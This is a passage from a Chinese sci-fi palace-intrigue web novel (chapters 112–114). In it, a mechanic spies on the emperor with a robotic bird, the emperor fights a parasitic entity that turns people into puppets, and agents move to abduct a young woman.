很偏僻隐蔽的位置,的确是个暗度陈仓的地界。
边烬好奇问道:“你是何时在李渃元仪仗上装定位器的?”
“不就罚我去少府监劳役那次么。那林少府没让我裁布,倒是让我去修飞天仪仗。不给银子的活儿让我干也行,不过必然得换点好处回来。我这便装了定位器。当时纯属好奇,想知道李渃元除了待在大明宫还会去什么地方溜达。她这么久都没动静,我险些给忘了。”
边烬哭笑不得。
“天子的位你都敢定。”
沈逆骄傲地抬小下巴。
“你就说我厉不厉害吧。”.
七王齐聚京师一事极为隐秘,知晓之人少之又少。
但安王早就在其他六王身边安插了眼线,或多或少。
楚王李沐启程入京的消息,第一时间飞到了繁之手中。
繁之急急上了客栈顶层,正待火速进屋,被康逸一臂拦下。
两人对视间繁之才发现,屋内多了两人。
蔺姑姑,还有……向公。
向知番也来了。
向知番一身质朴的黑衫,两道卧蚕眉已经花白,鬓角也沾了些风霜,看上去已经步入老年,但眉眼里的神采清明,健壮的体格绷紧着外衫,不似普通老翁。
他和蔺姑姑坐在胡椅上,应该是刚来不久,侍女这才将热茶奉上。
两位长辈来访,李极依旧没骨头般卧在软榻上,手中捧着一本画册,随口一说:
“本王重伤未愈,就不迎接二位了。”
蔺姑姑眼里有些埋怨,向知番却是慈眉善目,语气温和。
“殿下自当好好养伤,哪有殿下起身迎奴的道理。”
向知番的声音相对于普通男子更细更缓,是李极顶不喜欢的那种阴涩。
李极没再应他。
伤也的确没好明白。
曾倾洛在慌乱之下捅的那刀还挺深,缝了好几针。
起初只觉得曾倾洛下手真狠,怎么伤在这个位置,每次呼吸都会痛。
后来李极又痴痴地想,这个位置可真妙啊……
每一次呼吸都会痛,每一次呼吸都会想她。
这几日李极都躺在床上度日,大小事一概不管,心灰意懒,颇有些破罐子破摔的意味。
向知番被她冷待惯了,好脾气地说起河望以及他从睦洲派来的一众下属之死。
河望是向知番收养的儿子,养在身边很多年了。
李极漫不经心道:“你们当时不就在包厢里瞧着么?整个过程向叔叔都看在眼里,怎么还跑来找我兴师问罪。要不是这蠢货制定的晦气计划,我能被伤成这样?”
仿佛想到了什么开心事,李极将画册放到腿上,笑道:
“说起来,河望那蠢货想用异兽吓唬小孩,结果成了异兽的盘中餐。估计是太难吃了,异兽都吞下去了,结果又吐出来……哈。”
李极转过眸,看向向知番,“每次想起这事儿,我都得笑好半天呐。”
蔺姑姑眼睛气得发红,就要开口。
向知番的手掌落在她的手背上,拍了拍。
蔺姑姑硬生生将这口气吞了回去,向知番道:“老奴自然不敢向殿下兴师问罪。老奴知道殿下受伤了,担心殿下的身子,是来探望殿下的。”
李极:“多谢向叔叔关心,死不了。”
李极正待重新欣赏画册,却听向知番不阴不阳道:
“殿下乃是金枝玉叶,岂能受这等委屈。老奴已经查到伤害殿下恶徒的下落,这就帮殿下抓回来椎肤剥体,替殿下解气。”
第112章
李极心头一震,正要呵斥。
忽然间意识到了什么,即将冲出口的愤怒硬生生吞了回来。
所有情绪往下压,画册重新竖起,李极看似继续欣赏画作,懒洋洋地开口:
“不必劳烦向叔叔了。那个姓曾的小贱人和本王有些旧怨,本王要自己处理。向叔叔,蔺姑姑,你们还要带你们儿子的骨灰回睦州安葬吧。”
最后眼波一转,转向他俩,带上她一贯的嘲讽。
“可不能过了吉时,不然得死不瞑目了。”
李极自然不会被向知番试探出情绪。
更不能让他知晓自己对曾倾洛的在意。
要是曾倾洛落到向知番手中,这个阴毒的老太监会如何对待她、利用她,光是想象都让李极恶心。
她的东西,不可以沾染任何人的气息。
向知番没再多言,目光在她捏着画册的指尖上掠过,留下一句:“殿下好好休息,老奴告退了。”
向知番等人离开客房,刚进入云梯,蔺姑姑突然拽住向知番的衣襟,眼睛里沁出憎恨的眼泪。
“你真就能忍气吞声?咱们的望儿就这样死得不明不白?!”
向知番闭上眼,将她的手拂开。
“别拿我撒气,那是我儿子,为我养老送终的儿子。你以为我就不心痛吗?”
“那你!”
“你现在对她使厉害又有何用?只会让她更加提防。”
蔺姑姑一口银牙都要咬碎。
“要不是看在娘娘的面上,我真想……”
向知番用眼神示意她闭嘴。
蔺姑姑放开他,勉强平复着心情。
向知番双手交握在身前,率先走出客栈,坐入马车中。
蔺姑姑跟住他上去。
马车平稳驶离。
帝国客栈无论从任何角度看都是一派古朴的大气,粗犷的鸱吻是对唐代风格精致的模仿,硕大的斗拱更是彰显着地标建筑磅礴的气势。
而这一切在向知番看来极其的乏味、陈旧。
就像一位衣冠楚楚的垂暮老者,即便华冠丽服,也掩盖不了皮囊之下日渐腐败的恶臭。
他在这座城池受了太多苦,流了太多泪。
该死的人没死,该长命千岁的人却永远回不来了。
向知番阖着眼,迎着那沉沉暮色道:
“蔺咏铭,儿子的死我会补偿你。但你也要记住,我们当初为什么离开长安,如今又为什么回来。”
从半遮半掩的琉璃窗外映进来一抹血色的残阳,正好落在蔺咏铭松弛的眼皮上。
她在琉璃窗上再次看到了自己的脸。
她这张脸,和她娘亲长得可太像了。
蔺咏铭一直在努力忘记她的耶娘,忘记那个为了两袋米将她卖了的贫贱的家。
除了痛苦,那个家什么也给不了她。
贱姓,生下来就是贱命。
为了讨生活进入宫掖,为奴为婢,靠着贵戚权门的恩赏小心翼翼地生活。即便再谨小慎微,也有可能仅仅因为贵人们那日恰巧的坏心情就送了小命。
贵人们掐断一条贱命,无需和任何人交代。
在掖庭前十年,她没能跟对明主,受尽欺凌,险些被剖走脏器。
所幸,最后被跟在裴贵妃身边的向知番所救。
她已经记不得是如何跟向知番互解寂寞了,对食的那些细节更是教她恶心,不堪回想。
她只记得裴贵妃那双漂亮温柔的眼睛,和毫不介意地握住她肮脏手掌的柔荑细指。
这样的绝世佳人,凭什么要含怨离开长安城,横死他乡?
长安,李氏,欠她太多太多了。
既然贱姓无法改命,那就用李氏之矛攻李氏之盾。
李极,是他们颠覆帝国最重要的筹码。
为自己回放记忆模块中裴贵妃的片段,那双温暖的眼睛抚慰了蔺咏铭心中干涸的裂纹。
蔺咏铭深吸一口气,拭去眼角的泪痕。
“望儿死也死了,让人带他返回睦州,葬入裴林便是。”
向知番见她眼角尚有微红,但气已经沉回来了。
向知番转着拇指上的戒指道:“殿下的心思歪了。以前她贪玩胡闹尚可忍耐,可眼下五王入京,便是李渃元孤注一掷的豪赌。箭在弦上,随时都有可能拿刀动杖。必须扫除殿下多余的心思。”
蔺咏铭明白向知番之意,这事她不用操心,也没多说。
见向知番双唇泛紫,知道他看似冷静,实则压力极大。
从十多年前他俩就同舟共济,蔺咏铭不想这条船倾覆,捡了句安慰向知番的话:
“这次我们到长安城的目的已经完成,禁军一半已经在我们的掌控之中。”
向知番闭了闭眼,“本来还可以争取到路苍梧。她是禁中脊梁。可惜啊,我老了……真不中用了。”
向知番用S级强大的精神力控制住了禁军统领们的家属,以此为要挟,让他们成为李渃元身边的“暗器”,他们不敢不从。
之前一直都是向知番在操控这些家属,精神力使用过度,刚刚用药调理好一些的厥头痛又犯,这几日都没能睡个好觉。
要不是向知番头痛如锯,前两日路苍梧之女也该由他亲自来催眠。
本想着歇一歇,让李极操控。
是时候让她独当一面了。
没想到居然捅了这么大的篓子。
当时向知番等人赶到时,河望已经死了,李极也被捅了一刀。
李极腰腹上的那刀看着严重,但这安王自小便会装乖卖惨博同情,以此来拿捏人心,所以具体情况如何,不好判断。
向知番都不知该不该夸她一句,不愧是精神天赋者,能演。
很难说李极是不是将对他俩的不满发泄在河望身上,故意杀死河望,还妄图堵住他俩责备的嘴,遂演了这场好戏。
毕竟这安王,什么事都干得出。
马车停在一处别院内。
向知番下了马车,一位矫健密探疾步而来,向他回报刺伤安王女子的情报。
向知番听完后眉心微皱。
蔺咏铭拿过曾倾洛的照片,瞧了一眼也觉得奇怪。
“一个普通到不能再普通的侯府探子?孤女,B级战斗天赋?”
这种人,李极在睦州的时候没接触过千人,也有八百,怎就能与她产生纠葛?
在个人展上撕咬,在斗技场内让对方捅自己一刀?如此拿捏?
送情报的密探听蔺咏铭言语之中对探子颇为轻视,便补充一句:
“当初殿下被擒,似乎也是曾氏女所为。”
言下之意,此女不可小觑。
向知番:“是么,我倒是想亲眼看看此女有何特别。殿下已经走歪,那就该用一些手段将她掰回正道。娘娘不在了,我也算半个长辈。娘娘临终时托孤于我,即便僭越,我也需担起教导殿下的责任呐。”.
向知番等人一离开,画册便被李极随手丢走。
在斗技场时,向知番何时出现,又看见了多少,她并不知晓。
或许看到了她让康逸等人对河望拔刀相向,更有可能看到了她和曾倾洛的吻……
李极在心里暗骂一句“老狗彘”,翻身下床。
刚一下地,腰间伤口的痛楚便让她身子一歪,险些摔倒。
“殿下当心!”
康逸想上来扶她。
她捂着侧腹,单手撑在案边,不让康逸扶,只说:
“备马车。”
康逸跟在她身边太久,她和曾倾洛那些事儿他都看在眼里,自然明白此刻她想做什么。
“殿下,太危险了……”
李极懒得和他多说,转眸对繁之说:“你备。”
繁之:“喏!”
康逸:……
……
长安城郊区。
广膳宫。
广膳宫建于贞观十六年,建好这么多年了,李渃元本人还是第一次大驾光临。
本该七王聚首的筵席,独独少了安王。
不过也没人觉得安王会来。
毕竟安王和天子一直明争暗斗,她若是来了,恐怕得做好人头落地的准备。
筵席之上,除了六王和李渃元,再无旁人。
李渃元病容憔悴,也坚持现身。
李煽代她主持这场难得的皇室筵席。
这些血脉相连的兄弟姐妹,多年不见,凑到这样的场合里,分外生疏。
幸好有李褚这样的聒噪人热场,倒也不觉得难捱。
年纪最小的楚王李沐今年二十出头,极少出封地,平日里都在王府中养着,不怎么见生人。
二十多岁,看着还像个小孩。
这些本该是她最亲的姐姐哥哥们对她而言是一张张生面孔,让她害怕。
除了李煽。
洛阳是李沐的封地之一,先前两年李煽常去洛阳赏花,两人见过几面,李煽顺手给她带过些不值钱的小礼物。
这次筵席,李沐就像小尾巴一样跟着李煽。
坐也要挨着李煽坐。
李煽本就身体不适,被这幺妹缠得没辙,没精力回拒她,只能由着她来。
反而让李沐觉得李煽真好,一个劲对她傻笑。
李煽瞧这孩子,长得挺好,怎么就缺根筋。
和以前的自己可真像。
筵席之上,李褚等王在对李渃元歌功颂德,李沐看李煽在咳嗽,偷偷塞了一个小锦囊给她,偷偷对她说:
“姐姐,我也咳嗽,每次咳嗽闻一闻这凛绒花香就能缓解不少。这个送给你了,你也多闻闻。”
李煽对她淡笑答谢,没想到这半生不熟的妹妹居然还挺惦记她。
筵席过后,李渃元对李煽说有一要事让她帮忙去处理。
言下之意便是让她离开广膳宫。
李煽听从李渃元的话,离开广膳宫后,马车没有直接奔回城中,绕了一圈又悄悄回来。
本来这场群王相聚的宴席就让她觉得非常奇怪。
即便是有个庆祝城防工程一期完工的由头在这儿,李煽也觉得皇姐别有用心。
皇姐的身子一天天衰弱下去,李煽怕她出事,想在暗中护着她。
李煽是S级机械天赋,要开一个广膳宫后门不成问题。
可要继续前进就有点难了。
今日群王聚首,天子本人也在此,戒备自然森严。
李煽正在犹豫如何进入的时候,突然天空飞来一只怪异的机械鸟。
它是从何处飞来?侦测系统居然完全没发现,堂而皇之地从守卫们眼前飞过。
护卫们被那怪鸟吸引了注意力,李煽趁机潜入。
广膳宫的地形她很熟悉,毕竟此处是她参与建造的。
往里走过一条游廊,前方又是守卫。
正在李煽踌躇之际,方才那只机械怪鸟蓦地浮现在她肩头。
近距离之下,李煽才意识到,这机械鸟竟有隐身功能。
“永王殿下。”
机械鸟开口,居然是沈逆的声音。
李煽:“沈逆?”
远在兴化坊侯府中的沈逆,正通过机械鸟和李煽对话。
沈逆面前浮着一面虚拟屏,屏幕上是机械鸟双眼摄像头拍摄到的画面——李煽惊讶的脸。
“是我。”
沈逆本来就想用机械鸟潜入广膳宫深处,却探测到了广膳宫内部有反隐身装置,在外面徘徊有一会儿,正想法子,便遇到鬼鬼祟祟的李煽。
看来李煽与她同路,沈逆通过机械鸟和李煽对话,想和李煽合作,声东击西,一窥究竟。
沈逆说这番话时,边烬不知何时坐到她身边,一言不发地和她一同看着画面里的李煽。
李煽犹豫着,没等她答应,沈逆便抢话。
沈逆:“我帮你引开他们,你一会儿把我装袖子里带进去。”
李煽:“你……”
沈逆:“合作愉快。”
一个“你”字才刚说出口,机械鸟就隐身了。
连个拒绝的机会都没有,李煽都给气笑了。
“挺顺利。”
边烬双臂抱在身前,慢悠悠道。
沈逆心头一惊,回头看。
居然是边师姐。
沈逆:“你怎么……”
你怎么这时辰来了?
上次差点说漏嘴的阴影还在,即便边烬已经知晓另一个自己的存在,沈逆还是有点应激,没问出口。
边师姐:“既然她已经知晓我的存在,那我想何时出来便何时出来。不欢迎?”
沈逆:“怎么会……”
看看屏幕里的李煽,又看看边师姐。
来的真是时候。
沈逆挪了挪屁股,耳朵有点热。
当真如坐针毡。
第113章
沈逆如芒在背,手中的操控依旧顺畅。
侦查鸟和李煽声东击西,配合也算默契,顺利到了广膳宫内。
此时筵席已经结束,其他诸王在侍女的带领下到各自的寝殿休息,这几日他们就住在这儿,等待着金秋庆典的到来。
李沐被李渃元单独叫走了。
李沐本有点忐忑,不知天子为何独独留下她。
可皇姐是这般可爱的小娘子,还矮她一头,没有天子的威压还喜欢笑,那颗圆圆的脑袋看着很好摸。
没理由害怕比自己小这么多,还矮上一个头的小孩儿,李沐的忐忑的情绪很快在三言两语的闲叙中消散了。
没有婢女没有内侍,两人单独往李渃元的寝殿去。
打开寝殿大门,李沐“咦”了一声。
寝殿之内有个成年女人坐在软榻上喝茶。
那女人一半的身子罩在奇怪的黑布之中,露出的那一半也有些怪异的“义体”。
殿内阴森寂静,只点了一排蜡烛。
散发出的光单薄,可有可无。
李沐胳膊上起了一排鸡皮疙瘩,回头问正在关门的李渃元。
“那是谁啊?”
李渃元没有回答她的问题,扫描面部,厚重的大门轰隆隆地合上。
李沐头皮发麻,正待她再开口时,李渃元和那个女人同时道:
“你说你的智慧已经迭代到和人类相近了,那就让我看看是不是在说大话吧。”
李沐还未想明白为什么她俩说话能如此同步,胸口忽然发凉,似有什么冰冷尖锐的事物穿进了她的身体里。
疑惑地转身,看到了让她毛骨悚然的一幕。
她的后背被一根细长、凌乱的黑色金属物刺穿,那根长长的金属连着女人藏在黑布之下的身体。
黑色金属不像无机物,仿佛有自己的意识,不断地旋转、拧动、往外生长着,长出不规则的物质,有些像尖刺,有些像人的手指,有些甚至像好奇的触角。
李沐吓得大叫,猛烈挣扎。
可那怪异、恶心的黑色金属仿佛已经成为她身体的一部分,一动弹便是钻心剧痛。
簌——
黑色金属钻入她体内,几乎在一息之间覆盖了她的玉璧。
两个李渃元冷眼看着李沐伏在地上痛苦万状的模样。
李沐并不知道,刺穿她的女人才是真正的李渃元,帝国的天子,她的皇姐。
而“可爱的圆脑袋”只是一只炼出来的魔种。
整个筵席,李渃元通过小魔种的双眼观察诸王的状态,评估出了身子康健,性子单纯好操控之人。
楚王李沐,便是她选中的下一个傀儡。
李渃元摸着身边小魔种的脑袋。
小魔种双眼直愣愣的,和她一同看向表情逐渐狰狞的李沐。
两张嘴同时道:“年轻又健康的身体,真让人羡慕啊……”
说到最后,小魔种呕出一口血,李渃元看向她,默默为她拭去嘴角的血。
李渃元安慰小魔种道:“等到金秋庆典过后,你就可以好好休息了。”
小魔种依旧有自己的思绪,这么多年来的记忆和情绪也都还在。
可自从这女人实实在在地现身之后,她的意识和情绪已经无法主导这具身体了。
她还用这双眼睛看世界,但像在看荧幕上演出的剧目。
只能看,只能听,无论她多愤怒多害怕,都无法影响这个世界分毫。
怎么可能,怎么可以……
她想到了弦昼国的那两只“人偶”。
被操控的傀儡。
小魔种怔愣的双眸中流下两道清泪。
朕也是吗?朕怎么可能是“人偶”?
朕是天子啊。
……
寝殿周围只有很少的守卫,守在通往大殿的入口处。
而整个寝殿没有窗户,只有一扇门。
到底是帝王待着的地方,长的就是一副疑神疑鬼的样子。
显然,不想让任何人窥探屋里的动静。
李煽揣着侦查鸟,悄然潜到寝殿角落。
李煽小心翼翼探出脑袋观察了一会儿,肯定进不去。
躲回墙角之后,轻声问沈逆:“现下怎么办?”
沈逆摸着下巴,也是有点难办。
如果她本人就在现场的话,可以试着搓个静音切割器出来,无声地切开寝殿一角,让侦查鸟潜进去就能看到里面的情况。
沈逆试探问李煽:“殿下,你不也是机械师吗?能不能造个武器,现场挖挖墙角?”
李煽:“我没带工具箱。”
沈逆:……
也对,这可是永王呢。
这掉链子的水平在情理之中。
边烬单臂撑在沈逆身侧,提醒道:“能监听屋内的声音吗?”
若是进不去,能听到对话也行。
沈逆被这双沉静的眼眸瞧了一下,心跳自个儿加快了不少。
大概有几日未见,只是眼神对视,脑子里就乱糟糟的了。
沈逆将心思沉回来,“嗯……可以试试。”
侦查鸟最大的功能就是侦查,为了让它隐身功能最大化,沈逆做了很多减法,收音功能只能算是尚可。
隔着墙在外围肯定什么都听不到。
沈逆问李煽:“殿下,你去过这寝屋吗?是否知晓里面格局?”
李煽还真知道。
她没去过,不过这处寝屋她参与了设计。当初为了能让皇姐住得更舒适,她花了不少工夫。
李煽:“我知道一处隐秘的通风管道入口。”
沈逆惊喜了一下。
“那不是很好吗?我的侦查鸟体型小,一般的管道都可以顺利通行。请殿下带它到通风管道入口处。”
李煽没接她的话,反而是盯着侦查鸟的眼睛道:
“沈逆,你居然敢窥探皇室隐私,监听天子谈话,不要命了?”
沈逆:?
不是吧,刚才帮她掩人耳目的时候怎么不提皇室隐私,现在到目的地了,到是想起这出来了。
沈逆也是服气,正同舟共济呢,突然反过来刺她一下。
才不吃这套。
沈逆“哦”了一声说:“那殿下偷偷从后门溜回来又是何目的?总不是吃多了来消食儿的吧?”
李煽:“你……”
“若是殿下不帮忙也行,殿下就在这儿待着,我绕寝殿飞,听到多少算多少,被人发现就发现,反正一只鸟而已,舍就舍了,被人抓着我还有自爆装置,反正查不到我头上。回头听到了什么动静,殿下可别好奇来找我问。”
李煽被她堵得哑口无言,一面觉得此人真是胆大包天,一面又羡慕她的不羁。
也的确很想知晓皇姐为何会私下单独带楚王来寝殿。
只好对侦查鸟唤了声“回来”,走到东南角一处隐蔽之地,和侦查鸟合力启开了通风管道的入口。
李煽提醒道:“进去之后只有第二个岔路口往右,其他地方都往左。到第六个岔路口就别走了,那儿是距离寝殿最近的地方,在一处软塌茶几附近,那里最适合交谈。若要监听,那儿是最好的位置。”
侦查鸟立即飞进管道,沈逆操控着侦查鸟,丝滑地来到李煽告知的位置,停在通风口的格栅之上。
寝殿很大,这儿其实距离软榻也很远,只能收到一些断断续续的对话声。
是李渃元的声音。
声音非常微弱,沈逆整个人贴在扬声器上,脖子都要断了,都没能听清她们在说什么。
而且……
沈逆:“我怎么听到一个陌生女人的声音?”
边烬一下从后方捂住沈逆的嘴。
“嘘。”
边烬将沈逆的后脑轻轻压在自己的肩头,仔细听那声响。
听不清具体的内容,但的确有个陌生的成年女人的声音。
边烬的眼眸中闪现出一种压抑的亢奋。
仿佛寻寻觅觅许久的猎人,终于找到了她的猎物。
沈逆胸口安静地起伏,呼吸声都不敢太大。
可声音实在太含糊,分辨不出咬字。
不过没关系,因为下一息她们就知道李渃元在做什么了。
因为另一个小娘子的惨叫声,清晰地通过扬声器回荡在靖安侯府的寝屋里。
沈逆眼珠子转向边烬。
几声惨叫后,寝殿内再没有一丝动静。
边烬放开了手,沈逆让侦查鸟退出通风管道,对李煽道:“殿下,我要引护卫过来,你立刻离开此地。”
李煽还想问出了什么事,侦查鸟根本没给她开口的机会,立即发射一道电磁炮,轰断了寝殿前的树。
李煽:……
捂着嘴,压着想要咳嗽的难忍,掉头就跑。
与此同时,侦查鸟削尖脑袋撞进墙角花圃的泥土中,撞开个小土包,翅膀把泥土扫到自己身上来,很快消失于地面,只露出两只眼睛在外观察。
远处的护卫们听到动静立即赶来,环视一圈只看到一棵倾倒的树。
担心李渃元的安危,护卫们到寝殿门口高声询问。
寝殿内一时没有回应。
只有一阵压低的咳嗽声。
护卫们相互看了一眼,正待强行破门之时,门自己开了。
开门的是楚王李沐。
“怎么了?”
李沐脸上挂着轻松的笑容,笑容明媚,甚至有些喜庆。
护卫们和她对视一眼,问道:“陛下呢?”
刚说完,李渃元就出现在她身后,咳嗽了两声后说:“无事,退下吧。”
李渃元的确没什么异常的模样,还未等护卫们再开口,李沐已经把门合上了。
沈逆和边烬也只能看到这么多。
护卫们不好再烦天子和楚王,便要将断木搬走,四下搜查。
寝殿内。
李沐还在僵硬地笑,忽然一根黑色的乱体从她脸庞下刺出来。
李渃元看向那乱体。
乱体很懂事,立刻收了回去。
李渃元仔仔细细地看着眼前的李沐,像欣赏着稀世之宝,呼吸都停滞了。
忽然,她仅存的右半边身体被黑色的乱体吞噬了一大块的面积。
乱体毫无预兆,在她的脸上掀起黑色的海啸。
顷刻间覆盖了剩下的右眼。
李渃元猛然释放巨量的精神力,两股海啸对撞,整个寝殿都在发颤、扭曲。
小魔种惊恐地立在原地。
李沐面容上的笑意像面具,纹丝不动地挂着,在这混乱的寝殿内显得格格不入,更衬得此处不似人间。
李渃元弯腰,喉咙里发出极限之上浑浊的鸣响,后背绷得下一息就会断裂。
有一股巨大的力量在与她拉扯。
只有李渃元知道,那是黑魔方在不厌其烦地吞噬她,想要彻底占有她。
她在反抗!
反抗!
啪——
寝殿内所有琉璃制品凭空碎裂。
小魔种手臂、嘴角的皮肤在龟裂,她的意识像被抛到了外太空,在无数的黑洞间光速穿梭,浑身发颤,双眼翻白。
李沐从微笑的双眼和耳朵里流出鲜血。
狂躁又无上强大的精神力,正疯狂蹂.躏着空间内的所有意识和脆弱的无机物。
而后,在某个无法察觉的瞬间,这一切都消失了。
小魔种和李沐倒在一片狼藉之中。
单手撑着倾倒的椅子,不让自己彻底垮在地上的李渃元在大口大口地喘气,汗流如注。
方才吞没她眼睛的乱体在精神力的对抗下,退去了一些,只包住她的眼下。
右眼保住了。
但黑魔方还是侵吞了她部分的身体。
头痛欲裂,身上也冒出了更多的乱体。
有个意识在她脑海中笑着,嘲笑她的狼狈,诱惑着她:
“为什么不舒舒服服放下抵抗,与我融为一体?我已经成功迭代出了更高的智慧。你也看到了,我能隐藏在人体之内,看不出感染与否了,根本不需要拿可笑的符纸。
“这会是人类文明的新起点。人类的皇帝,你这么聪明,怎么会看不出未来这世界会掌握在谁手中?真的不要加入我吗?”
三十多年了,李渃元和黑魔方的本体抗争了三十多年。
时而被它影响,被它操控。
时而压制着它,找回一点自我。
她所有的精神力都用来抵抗黑魔方的本体,将本体死死压在身体里。
她惧怕黑魔方,又不能没有黑魔方。
她知道,黑魔方的本体一直想要那具至强的躯体。
李渃元做梦都想和黑魔方本体分割开。
可是一旦黑魔方的本体舍下她这具躯体,将带走她所有的生命能量。她只有死路一条。
李渃元一直想要杀死那具躯体,可惜,没能成功。
黑魔方本体一直在影响李渃元的思维。
那具躯体,还是回到了长安城。
乱体横生的她无法出现在阳光下行走,更无法出现在众人面前。
帝国的天子和黑魔方共生。
谁也不愿意相信这荒谬的事。
若不是这双S级的精神力,恐怕她早就成了一只异兽。
每一次想要借助它的力量,就会被吞噬一些。
可她没办法,她已经停不下来了。
她甚至不知道有时候决定到底是自己下达的,还是黑魔方想要的。
如今,黑魔方迭代出了智慧,居然能与她对话了。
可怕的诱惑,难挡的诱惑。
可是……
李渃元掰断喉咙处的乱体,无论疯狂地长出多少乱体,她都一一掰断,碾得粉碎。
“滚。”
血从李渃元的掌心中滴落,滴在身前一片破碎的琉璃片上。
黑血漫下,竟勾勒出一片群山起伏之态。
李渃元昂起头,完好的右眼中刺出凌厉的锋芒。
“谁要臣服在你之下?朕,是天子——”
……
沈逆启动自毁系统三号方案。
侦查鸟模拟土壤特征,自毁后会呈现相似土壤状态。除非特意提取化验,否则用肉眼很难发现。
侦查鸟自毁,画面切断。
沈逆撑着下巴,弯曲的指骨压在唇下。
把方才收到李沐声音的音轨倒入软件分析。
分析结果,这是疼痛引发的呼号,疼痛指数高达六百九。
沈逆指着屏幕对边烬道:“这疼痛指数相当于遭受了贯穿伤!她在寝殿里肯定受了重伤,可再开门时她完全是一副满不在乎的模样,也太奇怪了吧?”
边烬双臂抱在身前,目光落在别的地方。
灯在她点墨般的瞳仁里横铺一道亮眼的光。
这安静的姿态和神色沈逆很熟悉。
边烬在思考。
且已经有了答案。
沈逆正要说话,边烬先开口了。
“去工作室。”
沈逆眼睫轻闪,“现在?”
“现在。”
边烬站起身,高挑的身子逆着光,在沈逆的面庞上投下一道浓重的阴影。
没有时间了。
“今晚,把我修好。”
第114章
靖安侯府。
沈逆工作室内。
看着躺在工作台上的边烬,沈逆没有立刻行动。
边烬:“你有顾虑?”
沈逆双手撑在台边,脚在地上蹭着。
“要把身体完全修复这件事,烬师姐知道么?”
边烬:“我人都在这儿了,你才问?”
当然是因为抗拒不了你的要求了。
沈逆心想。
何况刚才还亲了一下。
沈逆:“先答应边师姐的要求,再得到烬师姐的同意,这样才算是边烬师姐听话的好师妹。”
边烬眉眼微弯,轻轻眨动着,“两头都不得罪是么?小滑头。”
听到这句话,沈逆心中发紧,生生往后撤了半步。
不对啊……
柔和的眉眼,以及带着笑意的声音,怎么看怎么都像……
边烬:“我有一个问题。”
沈逆已经有不好的预感了。
“嗯?”
“为什么我是烬师姐,那她是什么?边师姐?我在她之后?”
果然!
沈逆连退了好几步。
是烬师姐!
什么时候又换回来了,沈逆完全没意识到。
她甚至连细微的表情都没有变化。
你们现在无缝切换,就是想让人防不胜防是么?
边烬:“回来。”
沈逆乖乖回来。
沈逆只好又解释了一遍关于边师姐和烬师姐的区别,以及为什么要这样取名。
边烬唇角微弯,“所以在你心里,我比她更软弱。”
“怎么能这样说,当然是因为你……”
因为你更温柔。
话到嘴边,沈逆顿住。
感觉边师姐犀利的目光通过烬师姐的双眼,正从另外一个时空瞪向她。
沈逆话头在喉咙里转了一个大圈,最后艰难道:
“虽然,虽然你们是同一个人,但是出现的时间不一样,想要做的事情也不一样。总得区别你们嘛,所以我硬是逼着自己想了两个代号。一个对我严格,一个对我宽纵,但……都是你啊。”
先前烬师姐还不知道边师姐存在的时候,沈逆觉得隐瞒烬师姐良心不安。
现在好么,左右逢源更难。
边烬还真少见说话都不太利索的沈逆,笑了几声,不再逗她了。
边烬握住沈逆的手道:“她的计划是不可能改变了。既然总要面对,不若用最完整的我,最好的状态来面对。”
这样,也能更好保护阿摇。
“修复我吧,阿摇。”
两个师姐的意识达成了统一。
逆芯百分百完成时,究竟会发生什么事。
沈逆感觉那只无形的手再次握住了她的心脏。
逆芯最后一个阶段,有最复杂的技术难题。
沈逆要保持百分百的专注,不然很有可能前功尽弃。
要是在这儿前功尽弃,想要修复就难了,万里征途得重新开始。
沈逆跟万姑姑交代,除非有非常紧急的情况,否则谁来都不见。
万姑姑应喏,沈逆合上门。
整个空间和全身消毒。
为边烬麻醉,抓来机械臂。
深吸一口气。
沈逆看着边烬闭上的眼睛,低声对自己说:“开始吧。”
逆芯最后阶段,预计用时:两个时辰。
……
曾倾洛在侯府中住得舒适,却不好意思让侍女们照顾她,一些力所能及的事情她能做就自己做了。
比如说那几件旧衣服,放到浣洗器中随便洗洗就好,不用像师姐们的衣衫那么复杂,还需侍女们拿去熏衣染香,去除褶皱。
所以,李极那件真丝外衫,曾倾洛也是丢在浣洗器里洗的。
洗完之后拎出来一瞧,褶皱不堪。
曾倾洛倒也没想过非得还给李极。
毕竟往后她并没有想与那疯子再见面的打算。
只是,曾倾洛跟自己说,李极讨厌归讨厌,衣衫却是无辜的。
矜贵的真丝被浣洗器洗得跟腌菜似的,看着有点可怜。
单纯有些可怜。
曾倾洛去问她院中最能干的侍女姐姐,有没有什么补救的方法。
那侍女也没辙。
“侯府的护理仪正好坏了,送去维修,得下个月才能送回。现在想要复原的话,得去西市找专门的衣物护理肆才行了。女郎且等我一会儿,等我把手头的事情忙完就送过去。”
曾倾洛没麻烦她,向她要了地址,自己去了西市。
专门负责保护她的四名护院中,还有两位受伤未愈,边烬又多调了四名过来,现在一共有六名护卫陪着她同进同出。
衣物护理肆很快处理好了衣物,看上去和新的没什么区别,效果很满意。
就是最后结付了十两银子的天价,曾倾洛心头滴血。
回侯府的路上,正好遇到万姑姑。
万姑姑手里拿着一个包袱,里面裹着个不大不小的盒子。
万姑姑刚从西市最大的情意盒商户出来。
最近主院里的情意盒消耗得可太快了,万姑姑很欣慰,侯君和夫人感情这般好,她可不能拖后腿。
最新最有趣的情意物品都第一时间搜罗回来,绝对不能耽误双妻俩增进感情。
这会儿她抱着的就是情意盒。
商户很懂生意经,知道客户们光天化日之下抱着个情意盒多少有些尴尬,这便免费赠送一条掩人耳目的布帛。
万姑姑看到曾倾洛庆幸地“啊呀”了一声,立刻迎上来。
“曾女郎,你这是要回府吗?”
“是啊。”
“太好了太好了,我还得去邮驿一趟,麻烦你把这个带回去吧,是侯君和夫人的东西。”
曾倾洛接过包袱抱在怀里,“好。”
临走时万姑姑还神秘兮兮地在她耳边道:
“里面可都是些厉害的物件,曾女郎没事可别打开看了。”
厉害的物件?
曾倾洛本能地想到是小师姐造的武器。
曾倾洛上了马车,六名护院都在暗中保护她。
马车穿过热闹的市井,看似平凡的街衢内,实则有二十多双眼睛暗暗落在马车车厢上。
有侯府自家护院,有依旧在盯着靖安侯府的丽景门女官,更有从未在京城露过面的睦州人。
这些睦州人是向知番派来的。
要“请”曾倾洛回去与他一叙。
睦州人藏在人群之中,普通人极难发觉。
但侯府护院和丽景门,三方都能察觉彼此存在。
都知晓对方是难缠的对手,谁都不愿率先动手,落了下乘。
睦州人之中有高机械天赋者,本想黑入曾倾洛的马车,把她带到无人之地劫持。
没想到,这S级的机械师居然完全黑不动马车……
眼看着曾倾洛的马车就要驶离这条稍显冷清的街道。
再往前就是人头传动的繁华市集,在那里就更不好动手了。
睦州人立刻启动第二套方案。
他们来时就穿上了禁军服制,此刻十二人纵队而出,拦住曾倾洛的马车。
